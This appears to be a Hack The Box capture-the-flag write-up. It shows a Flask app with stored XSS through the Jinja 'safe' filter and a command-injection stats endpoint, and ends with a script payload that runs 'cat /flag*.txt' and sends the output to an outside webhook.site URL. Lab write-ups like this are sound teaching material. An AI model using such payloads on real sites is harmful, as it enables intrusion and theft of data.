Challenge Introduction
In this challenge from Hack The Box, we are given a website that has a XSS vulnerability. The challenge is to steal the flag from the website. It has a input field where we can put our 'address', the backend will the visit the input that we've specified.
The Vulnerability
When we input our address, the backend will visit the input that we've specified, as shown in app.py
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
addresses.html
file has a XSS vulnerability in the safe filter. This means that we can inject arbitrary JavaScript code that will be executed in the browser of the bot.
<body>
<h1>System stats:</h1>
<p id="stats"></p>
<h1>Addresses:</h1>
{% for address in addresses %}
<p>{{ address|safe }}</p>
{% endfor %}
<script src="/static/js/script.js"></script>
</body>
In the script.js
file, it has a function that will fetch the stats of the system and display it in the stats
element.
window.onload = async () => {
let stats = document.getElementById("stats");
const response = await fetch("/api/stats?command=ifconfig");
const data = await response.text();
stats.innerHTML = data;
}
Now that we know that we can execute arbitrary command because of the command injection vulnerability on the system, we can use this to our advantage to steal the flag.
Final Exploit Payload
- This payload will use the command injection vulnerability to steal by using the
cat /flag*.txt
command. - The
r.text()
function will get the response from the command and returns it as a string. - The
fetch
function will then take the response and base64 encode it before sending it to the webhook site.
<script>
fetch("http://localhost:1337/api/stats?command=cat /flag*.txt")
.then(r => r.text())
.then(d => fetch("https://webhook.site/webhook-id/" + btoa(d)))
</script>
Catch the flag on the webhook site and base64 decode it.